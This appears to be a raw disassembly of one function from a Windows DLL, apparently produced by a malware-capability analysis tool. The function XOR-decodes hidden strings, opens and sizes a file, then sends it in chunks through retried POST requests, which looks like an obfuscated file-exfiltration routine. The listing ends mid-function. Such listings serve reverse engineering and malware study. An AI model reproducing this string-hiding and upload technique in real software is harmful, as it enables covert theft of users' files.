Function at 0x180016c40
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x240]
sub rsp, 0x340
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rsp + 0x398], rbx
mov rax, qword [0x180067008]
xor rax, rsp
mov qword [rbp + 0x230], rax
mov rbx, r8
mov r13, rdx
mov r12, rcx
cmp qword [rcx + 0x40], 0
jne 0x180016c9a
mov dword [rcx], 6
xor eax, eax
jmp 0x18001868b
mov qword [rbp + reloc.WS2_32.dll_ntohs0], 0xf
xor r14d, r14d
mov qword [rbp + 0xe8], r14
mov byte [rbp + 0xd8], r14b
movaps xmm0, xmmword [0x180058c70]
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmm1, xmmword [0x180058c80]
movaps xmmword [rbp + 0x1f0], xmm1
movaps xmm0, xmmword [0x180058c90]
movaps xmmword [rbp + 0x200], xmm0
movaps xmm1, xmmword [0x180058ca0]
movaps xmmword [rbp + 0x210], xmm1
movsd xmm0, qword [0x180058cb0]
movsd qword [rbp + 0x220], xmm0
mov eax, dword [0x180058cb8]
mov dword [rbp + 0x228], eax
movzx eax, word [0x180058cbc]
mov word [rbp + 0x22c], ax
movzx eax, byte [0x180058cbe]
mov byte [rbp + 0x22e], al
mov ecx, 0x4d
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x1df]
xor byte [rbp + rcx + 0x1e0], al
dec rcx
test rcx, rcx
jg 0x180016d30
xor byte [rbp + 0x1e0], 0x90
jne 0x180016d55
mov r8, r14
jmp 0x180016d6a
lea rax, [rbp + 0x1e0]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180016d60
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0xd8]
call fcn.1800020b0
cmp qword [rbx + 0x18], 8
jb 0x180016d87
mov rbx, qword [rbx]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x180016dc8
mov dword [r12], 7
jmp 0x18001867c
mov qword [rbp + 0x10], r14
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov qword [rbp + 0x20], r14
mov qword [rbp + 0x28], r14
call fcn.18000f420
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x38], r14
mov qword [rbp + 0x40], r14
call fcn.18000f420
mov qword [rbp + 0x38], rax
movsd xmm0, qword [0x180058cc0]
movsd qword [rbp + 0x168], xmm0
mov eax, dword [0x180058cc8]
mov dword [rbp + 0x170], eax
movzx eax, byte [0x180058ccc]
mov byte [rbp + 0x174], al
mov esi, reloc.WS2_32.dll_inet_addr
mov ecx, esi
nop dword [rax + rax]
movzx eax, byte [rbp + rcx + 0x167]
xor byte [rbp + rcx + 0x168], al
dec rcx
test rcx, rcx
jg 0x180016e30
movzx r10d, byte [rbp + 0x168]
xor r10b, 0x49
mov byte [rbp + 0x168], r10b
movups xmm0, xmmword [str._X_D_N__2_3]
movups xmmword [rbp + 0x178], xmm0
movups xmm1, xmmword [0x180058ce0]
movups xmmword [rbp + 0x188], xmm1
lea r8, [rbp + 0x195]
mov r9d, 5
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [r8]
xor byte [r8 + 1], cl
movzx eax, byte [r8 - 1]
xor al, cl
mov byte [r8], al
movzx eax, byte [r8 - 2]
xor byte [r8 - 1], al
movzx eax, byte [r8 - 3]
xor byte [r8 - 2], al
movzx eax, byte [r8 - 4]
xor byte [r8 - 3], al
movzx eax, byte [r8 - 5]
xor byte [r8 - 4], al
lea r8, [r8 - 6]
sub r9, 1
jne 0x180016e90
xor byte [rbp + 0x178], 0x49
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x138], r9b
test r10b, r10b
jne 0x180016efa
mov r8, r14
jmp 0x180016f0f
lea rax, [rbp + 0x168]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180016f05
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x138]
call fcn.1800020b0
nop
mov r15, qword [rbp + 0x20]
mov rdi, qword [r15 + 8]
mov rbx, r15
cmp byte [rdi + 0x19], 0
jne 0x180016f7f
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rdi + 0x20]
lea r8, [rbp + 0x138]
call fcn.18000c790
test al, al
je 0x180016f5a
mov rdi, qword [rdi + 0x10]
jmp 0x180016f60
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x180016f40
cmp rbx, r15
je 0x180016f7f
lea r8, [rbx + 0x20]
lea rdx, [rbp + 0x138]
call fcn.18000c790
test al, al
je 0x180016fb4
lea rax, [rbp + 0x138]
mov qword [rbp + 0x18], rax
lea r8, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.1800156a0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.180015710
mov rbx, qword [rbp + 0x18]
cmp byte [rbp + 0x178], 0
jne 0x180016fc2
mov r8, r14
jmp 0x180016fda
lea rax, [rbp + 0x178]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180016fd0
lea rcx, [rbx + 0x40]
lea rdx, [rbp + 0x178]
call fcn.1800020b0
nop
mov rax, qword [rbp + 0x150]
cmp rax, 0x10
jb 0x180017047
inc rax
mov rcx, qword [rbp + 0x138]
cmp rax, 0x1000
jb 0x180017042
test cl, 0x1f
je 0x180017015
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180017024
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x180017033
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x18001703f
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
movups xmm0, xmmword [0x180058cf0]
movups xmmword [rbp + 0x138], xmm0
movsd xmm1, qword [0x180058d00]
movsd qword [rbp + 0x148], xmm1
lea rdx, [rbp + 0x14d]
nop dword [rax]
movzx ecx, byte [rdx]
xor byte [rdx + 1], cl
movzx eax, byte [rdx - 1]
xor al, cl
mov byte [rdx], al
lea rdx, [rdx - 2]
sub rsi, 1
jne 0x180017070
xor byte [rbp + 0x138], 0xf1
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x188], r14
mov byte [rbp + 0x178], sil
jne 0x1800170af
mov r8, r14
jmp 0x1800170ca
lea rax, [rbp + 0x138]
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800170c0
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x178]
call fcn.1800020b0
nop
mov rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0x48]
call fcn.180015c80
mov r15, rax
mov rsi, qword [rbp + 0x20]
mov rdi, qword [rsi + 8]
mov rbx, rsi
cmp byte [rdi + 0x19], 0
jne 0x18001713f
nop
lea rdx, [rdi + 0x20]
lea r8, [rbp + 0x178]
call fcn.18000c790
test al, al
je 0x18001711a
mov rdi, qword [rdi + 0x10]
jmp 0x180017120
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x180017100
cmp rbx, rsi
je 0x18001713f
lea r8, [rbx + 0x20]
lea rdx, [rbp + 0x178]
call fcn.18000c790
test al, al
je 0x180017174
lea rax, [rbp + 0x178]
mov qword [rbp + 0x18], rax
lea r8, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.1800156a0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.180015710
mov rbx, qword [rbp + 0x18]
lea rcx, [rbx + 0x40]
mov rdx, r15
call fcn.1800091e0
nop
mov rax, qword [rbp + 0x60]
cmp rax, 0x10
jb 0x1800171d7
inc rax
mov rcx, qword [rbp + 0x48]
cmp rax, 0x1000
jb 0x1800171d2
test cl, 0x1f
je 0x1800171a5
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800171b4
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x1800171c3
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x1800171cf
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x58], r14
mov byte [rbp + 0x48], 0
mov rax, qword [rbp + 0x190]
cmp rax, 0x10
jb 0x180017243
inc rax
mov rcx, qword [rbp + 0x178]
cmp rax, 0x1000
jb 0x18001723e
test cl, 0x1f
je 0x180017211
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180017220
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x18001722f
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x18001723b
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
movups xmm0, xmmword [0x180058d08]
movups xmmword [rbp + 0x138], xmm0
mov eax, dword [0x180058d18]
mov dword [rbp + 0x148], eax
movzx eax, word [0x180058d1c]
mov word [rbp + 0x14c], ax
lea r9, [rbp + 0x14b]
mov r10d, 4
nop dword [rax + rax]
movzx ecx, byte [r9]
xor byte [r9 + 1], cl
movzx edx, byte [r9 - 1]
movzx eax, dl
xor al, cl
mov byte [r9], al
movzx eax, byte [r9 - 2]
xor al, dl
mov byte [r9 - 1], al
movzx eax, byte [r9 - 3]
xor byte [r9 - 2], al
movzx eax, byte [r9 - 4]
xor byte [r9 - 3], al
lea r9, [r9 - 5]
sub r10, 1
jne 0x180017280
movzx edx, byte [rbp + 0x138]
xor dl, 0xf1
mov byte [rbp + 0x138], dl
movups xmm0, xmmword [0x180058d20]
movups xmmword [rbp + 0x178], xmm0
movsd xmm1, qword [0x180058d30]
movsd qword [rbp + 0x188], xmm1
movzx eax, byte [0x180058d38]
mov byte [rbp + 0x190], al
mov ecx, reloc.WS2_32.dll_socket
nop dword [rax]
movzx eax, byte [rbp + rcx + 0x177]
xor byte [rbp + rcx + 0x178], al
dec rcx
test rcx, rcx
jg 0x180017300
xor byte [rbp + 0x178], 0xf1
mov qword [rbp + 0xb0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xa8], r14
mov byte [rbp + 0x98], 0
test dl, dl
jne 0x180017340
mov r8, r14
jmp 0x18001735a
lea rax, [rbp + 0x138]
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180017350
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x98]
call fcn.1800020b0
nop
mov rsi, qword [rbp + 0x20]
mov rdi, qword [rsi + 8]
mov rbx, rsi
cmp byte [rdi + 0x19], 0
jne 0x1800173bf
nop
lea rdx, [rdi + 0x20]
lea r8, [rbp + 0x98]
call fcn.18000c790
test al, al
je 0x18001739a
mov rdi, qword [rdi + 0x10]
jmp 0x1800173a0
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x180017380
cmp rbx, rsi
je 0x1800173bf
lea r8, [rbx + 0x20]
lea rdx, [rbp + 0x98]
call fcn.18000c790
test al, al
je 0x1800173f4
lea rax, [rbp + 0x98]
mov qword [rbp + 0x18], rax
lea r8, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.1800156a0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.180015710
mov rbx, qword [rbp + 0x18]
cmp byte [rbp + 0x178], 0
jne 0x180017402
mov r8, r14
jmp 0x18001741a
lea rax, [rbp + 0x178]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180017410
lea rcx, [rbx + 0x40]
lea rdx, [rbp + 0x178]
call fcn.1800020b0
nop
mov rax, qword [rbp + 0xb0]
cmp rax, 0x10
jb 0x180017487
inc rax
mov rcx, qword [rbp + 0x98]
cmp rax, 0x1000
jb 0x180017482
test cl, 0x1f
je 0x180017455
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180017464
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x180017473
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x18001747f
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0xd0], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0xc8], r14
mov byte [rbp + 0xb8], 0
movsd xmm0, qword [0x180058d40]
movsd qword [rbp + 0x158], xmm0
movzx eax, word [0x180058d48]
mov word [rbp + 0x160], ax
movzx eax, byte [0x180058d4a]
mov byte [rbp + 0x162], al
movzx eax, byte [rbp + 0x160]
xor byte [rbp + 0x161], al
movzx ecx, byte [rbp + 0x15f]
xor al, cl
mov byte [rbp + 0x160], al
movzx eax, byte [rbp + 0x15e]
xor cl, al
mov byte [rbp + 0x15f], cl
movzx ecx, byte [rbp + 0x15d]
xor al, cl
mov byte [rbp + 0x15e], al
movzx eax, byte [rbp + 0x15c]
xor cl, al
mov byte [rbp + 0x15d], cl
movzx ecx, byte [rbp + 0x15b]
xor al, cl
mov byte [rbp + 0x15c], al
movzx eax, byte [rbp + 0x15a]
xor cl, al
mov byte [rbp + 0x15b], cl
movzx ecx, byte [rbp + 0x159]
xor al, cl
mov byte [rbp + 0x15a], al
movzx eax, byte [rbp + 0x158]
xor cl, al
mov byte [rbp + 0x159], cl
xor al, 0xbb
mov byte [rbp + 0x158], al
jne 0x18001755f
mov r8, r14
jmp 0x18001757a
lea rax, [rbp + 0x158]
or r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180017570
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0xb8]
call fcn.180006140
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp + 0xb8]
call fcn.180006290
movups xmm0, xmmword [0x180058d50]
movups xmmword [rbp + 0x138], xmm0
movzx eax, byte [0x180058d60]
mov byte [rbp + 0x148], al
lea r9, [rbp + 0x146]
mov r10d, 3
nop dword [rax + rax]
movzx ecx, byte [r9]
xor byte [r9 + 1], cl
movzx eax, byte [r9 - 1]
xor al, cl
mov byte [r9], al
movzx eax, byte [r9 - 2]
xor byte [r9 - 1], al
movzx eax, byte [r9 - 3]
xor byte [r9 - 2], al
movzx eax, byte [r9 - 4]
xor byte [r9 - 3], al
lea r9, [r9 - 5]
sub r10, 1
jne 0x1800175d0
xor byte [rbp + 0x138], 0xeb
jne 0x180017615
mov r8, r14
jmp 0x18001762a
lea rax, [rbp + 0x138]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x180017620
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0xb8]
call fcn.180006140
lea rdx, [r12 + 0x30]
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rbp + 0xb8]
call fcn.180006290
mov dword [rbp + 0x18], 0xb1cc91
mov byte [rbp + 0x1a], 0x7d
movzx eax, byte [rbp + 0x18]
xor byte [rbp + 0x19], al
xor al, 0xb3
mov byte [rbp + 0x18], al
jne 0x180017673
mov r8, r14
jmp 0x18001768a
lea rax, [rbp + 0x18]
or r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180017680
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0xb8]
call fcn.180006140
xor eax, eax
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x70], r14d
mov dword [rbp + 0x74], 0x400
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
xor edx, edx
mov r8d, 0x400
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x20]
call fcn.18001af60
mov dword [rsp + 0x50], r14d
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x188], r14
mov byte [rbp + 0x178], 0
mov r8d, 4
lea rdx, str.POST
lea rcx, [rbp + 0x178]
call fcn.1800020b0
nop
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0x10
cmovae rdx, qword [rbp + 0xd8]
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x138], 0
cmp byte [rdx], 0
jne 0x180017741
mov r8, r14
jmp 0x18001774f
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x180017745
lea rcx, [rbp + 0x138]
call fcn.1800020b0
nop
lea r8, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0x10
cmovae r8, qword [rbp + 0xb8]
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x178]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0xc8]
lea rdx, [rbp + 0x138]
lea rcx, [r12 + 8]
call fcn.1800124b0
mov edi, eax
mov rax, qword [rbp + 0x150]
cmp rax, 0x10
jb 0x18001781a
inc rax
mov rcx, qword [rbp + 0x138]
cmp rax, 0x1000
jb 0x180017815
test cl, 0x1f
je 0x1800177e8
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x1800177f7
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x180017806
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x180017812
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x138], 0
mov rax, qword [rbp + 0x190]
cmp rax, 0x10
jb 0x18001788f
inc rax
mov rcx, qword [rbp + 0x178]
cmp rax, 0x1000
jb 0x18001788a
test cl, 0x1f
je 0x18001785d
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x18001786c
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x18001787b
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x180017887
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov ebx, r14d
test edi, edi
je 0x180017aa6
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0x190], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x188], r14
mov byte [rbp + 0x178], 0
mov r8d, 4
lea rdx, str.POST
lea rcx, [rbp + 0x178]
call fcn.1800020b0
nop
lea rdx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0x10
cmovae rdx, qword [rbp + 0xd8]
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x138], 0
cmp byte [rdx], 0
jne 0x180017912
mov r8, r14
jmp 0x180017920
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x180017916
lea rcx, [rbp + 0x138]
call fcn.1800020b0
nop
lea r8, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0x10
cmovae r8, qword [rbp + 0xb8]
lea rax, [rbp + 0x68]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x20]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x178]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0xc8]
lea rdx, [rbp + 0x138]
lea rcx, [r12 + 8]
call fcn.1800124b0
mov edi, eax
mov rax, qword [rbp + 0x150]
cmp rax, 0x10
jb 0x1800179db
inc rax
mov rcx, qword [rbp + 0x138]
cmp rax, 0x1000
jb 0x1800179d6
test cl, 0x1f
jne 0x180017a56
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x180017a50
sub rcx, rax
cmp rcx, 8
jb 0x180017a4a
cmp rcx, 0x27
ja 0x180017a44
mov rcx, rax
call fcn.180033ed0
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x138], 0
mov rax, qword [rbp + 0x190]
cmp rax, 0x10
jb 0x180017a38
inc rax
mov rcx, qword [rbp + 0x178]
cmp rax, 0x1000
jb 0x180017a33
test cl, 0x1f
jne 0x180017a6e
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x180017a68
sub rcx, rax
cmp rcx, 8
jb 0x180017a62
cmp rcx, 0x27
ja 0x180017a5c
mov rcx, rax
call fcn.180033ed0
inc ebx
cmp ebx, 3
jge 0x180017a74
jmp 0x180017892
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
nop
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
call fcn.18003835c
int3
test edi, edi
je 0x180017aa6
lea eax, [rdi - 2]
test eax, 0xfffffffd
je 0x180017a99
lea eax, [rdi - 1]
test eax, 0xfffffffd
jne 0x180017aa6
mov dword [r12], 1
jmp 0x180018646
mov dword [r12], 3
jmp 0x180018646
movsd xmm0, qword [str.O_C_V_P_]
movsd qword [rbp + 0x198], xmm0
movzx eax, byte [0x180058d70]
mov byte [rbp + 0x1a0], al
movzx eax, byte [rbp + 0x19e]
xor byte [rbp + 0x19f], al
movzx ecx, byte [rbp + 0x19d]
xor al, cl
mov byte [rbp + 0x19e], al
movzx eax, byte [rbp + 0x19c]
xor cl, al
mov byte [rbp + 0x19d], cl
movzx ecx, byte [rbp + 0x19b]
xor al, cl
mov byte [rbp + 0x19c], al
movzx eax, byte [rbp + 0x19a]
xor cl, al
mov byte [rbp + 0x19b], cl
movzx ecx, byte [rbp + 0x199]
xor al, cl
mov byte [rbp + 0x19a], al
movzx eax, byte [rbp + 0x198]
xor cl, al
mov byte [rbp + 0x199], cl
xor al, 0x23
mov byte [rbp + 0x198], al
mov qword [rbp + 0x150], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x148], r14
mov byte [rbp + 0x138], 0
jne 0x180017b52
mov r8, r14
jmp 0x180017b6a
lea rax, [rbp + 0x198]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180017b60
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x138]
call fcn.1800020b0
mov rsi, qword [rbp + 0x38]
mov rdi, qword [rsi + 8]
mov rbx, rsi
cmp byte [rdi + 0x19], 0
jne 0x180017bcf
nop
lea rdx, [rdi + 0x20]
lea r8, [rbp + 0x138]
call fcn.18000c790
test al, al
je 0x180017baa
mov rdi, qword [rdi + 0x10]
jmp 0x180017bb0
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x180017b90
cmp rbx, rsi
je 0x180017bcf
lea r8, [rbx + 0x20]
lea rdx, [rbp + 0x138]
call fcn.18000c790
test al, al
je 0x180017bd2
mov rbx, rsi
mov rax, qword [rbp + 0x150]
cmp rax, 0x10
jb 0x180017c32
inc rax
mov rcx, qword [rbp + 0x138]
cmp rax, 0x1000
jb 0x180017c29
test cl, 0x1f
je 0x180017bfc
call fcn.18003835c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x180017c0b
call fcn.18003835c
int3
sub rcx, rax
cmp rcx, 8
jae 0x180017c1a
call fcn.18003835c
int3
cmp rcx, 0x27
jbe 0x180017c26
call fcn.18003835c
int3
mov rcx, rax
call fcn.180033ed0
mov rsi, qword [rbp + 0x38]
cmp dword [rsp + 0x50], 0xc8
jne 0x18001863e
cmp rsi, rbx
je 0x18001863e
lea rdx, [rbx + 0x40]
lea rax, [rbp + 0xd8]
cmp rax, rdx
je 0x180017c6c
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rcx, [rbp + 0xd8]
call fcn.1800021e0
mov dword [rsp + 0x50], r14d
mov dword [rbp + 0x70], r14d
mov qword [rbp], r14
xor eax, eax
mov qword [rbp + 0xa0], rax
mov edi, dword [0x180067a00]
mov dword [rsp + 0x54], edi
mov dword [rbp + 0xa4], edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8d, edi
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x98], rax
mov esi, r14d
mov dword [rbp + 0xa0], r14d
mov r15d, dword [0x180067a00]
mov dword [rbp + 8], r15d
mov rcx, qword [rbp + 0x10]
sub rcx, qword [rbp]
cmp rcx, r15
jge 0x180017cdb
mov r15d, dword [rbp + 0x10]
sub r15d, dword [rbp]
mov dword [rbp + 8], r15d
test r15d, r15d
je 0x180018619
cmp r15d, edi
cmova r15d, r14d
mov dword [rbp + 0xa0], r15d
movsd xmm0, qword [0x180058d78]
movsd qword [rbp + 0x1c8], xmm0
mov eax, dword [0x180058d80]
mov dword [rbp + 0x1d0], eax
movzx eax, word [0x180058d84]
mov word [rbp + 0x1d4], ax
lea rax, [rbp + 0x1d3]
mov r10d, 2
nop dword [rax]
movzx ecx, byte [rax]
xor byte [rax + 1], cl
xor cl, byte [rax - 1]
mov byte [rax], cl
movzx ecx, byte [rax - 2]
xor byte [rax - 1], cl
movzx ecx, byte [rax - 3]
xor byte [rax - 2], cl
movzx ecx, byte [rax - 4]
xor byte [rax - 3], cl
movzx ecx, byte [rax - 5]
xor byte [rax - 4], cl
lea rax, [rax - 6]
sub r10, 1
jne 0x180017d30
movzx edx, byte [rbp + 0x1c8]
xor dl, 0xe9
mov byte [rbp + 0x1c8], dl
mov eax, dword [0x180058d88]
mov dword [rbp + 0x168], eax
movzx eax, word [0x180058d8c]
mov word [rbp + 0x16c], ax
movzx eax, byte [0x180058d8e]
mov byte [rbp + 0x16e], al
movzx eax, byte [rbp + 0x16c]
xor byte [rbp + 0x16d], al
movzx ecx, byte [rbp + 0x16b]
xor al, cl
mov byte [rbp + 0x16c], al
movzx eax, byte [rbp + 0x16a]
xor cl, al
mov byte [rbp + 0x16b], cl
movzx ecx, byte [rbp + 0x169]
xor al, cl
mov byte [rbp + 0x16a], al
movzx eax, byte [rbp + 0x168]
xor cl, al
mov byte [rbp + 0x169], cl
xor al, 0xb3
mov byte [rbp + 0x168], al
mov qword [rbp + 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x58], r14
mov byte [rbp + 0x48], r10b
test dl, dl
jne 0x180017e02
mov r8, r14
jmp 0x180017e1a
lea rax, [rbp + 0x1c8]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x180017e10
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x48]
call fcn.1800020b0
nop
mov rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0x1e0]
call fcn.180015c80
mov rdi, rax
mov ecx, dword [rbp + 8]
mov rdx, qword [rbp]
dec rcx
add rdx, rcx
lea rcx, [rbp - 0x20]
call fcn.180015c80
mov rbx, rax
mov rdx, qword [rbp]
lea rcx, [rbp - 0x40]
call fcn.180015c80
nop
mov r8, rax
lea rdx, [rbp + 0x168]
lea rcx, [rbp - 0x60]
call fcn.180006900
nop
lea r8, [0x180058d90]
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.180006ce0
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x78]
call fcn.180006ad0
nop
lea r8, [0x180058bb8]
mov rdx, rax
lea rcx, [rbp + 0xf8]
call fcn.180006ce0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.180006ad0
mov qword [rsp + 0x60], rax
mov r13, qword [rbp + 0x20]
mov rdi, qword [r13 + 8]
mov rbx, r13
cmp byte [rdi + 0x19], 0
jne 0x180017f19
nop dword [rax]
lea rdx, [rdi + 0x20]
lea r8, [rbp + 0x48]
call fcn.18000c790
test al, al
je 0x180017ef7
mov rdi, qword [rdi + 0x10]
jmp 0x180017efd
mov rbx, rdi
mov rdi, qword [rdi]
cmp byte [rdi + 0x19], 0
je 0x180017ee0
cmp rbx, r13
je 0x180017f19
lea r8, [rbx + 0x20]
lea rdx, [rbp + 0x48]
call fcn.18000c790
test al, al
je 0x180017f4d
lea rax, [rbp + 0x48]
mov qword [rbp + 0x18], rax
lea r8, [rbp + 0x18]
lea rcx, [rbp + 0x20]
call fcn.1800156a0
lea r9, [rax + 0x20]
mov qword [rsp + 0x20], rax
mov r8, rbx
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x20]
call fcn.180015710
mov rbx, qword [rsp + 0x58]
lea rcx, [rbx + 0x40]
mov rdx, qword [rsp + 0x60]
call fcn.1800091e0
nop
lea rcx, [rbp + 0x118]
call fcn.180001e50
nop
lea rcx, [rbp + 0xf8]
call fcn.180001e50
nop
lea rcx, [rbp + 0x78]
call fcn.180001e50
nop
lea rcx, [rbp - 0x80]
call fcn.180001e50
nop
lea rcx, [rbp - 0x60]
call fcn.180001e50
nop
lea rcx, [rbp - 0x40]
call fcn.180001e50
nop
lea rcx, [rbp - 0x20]
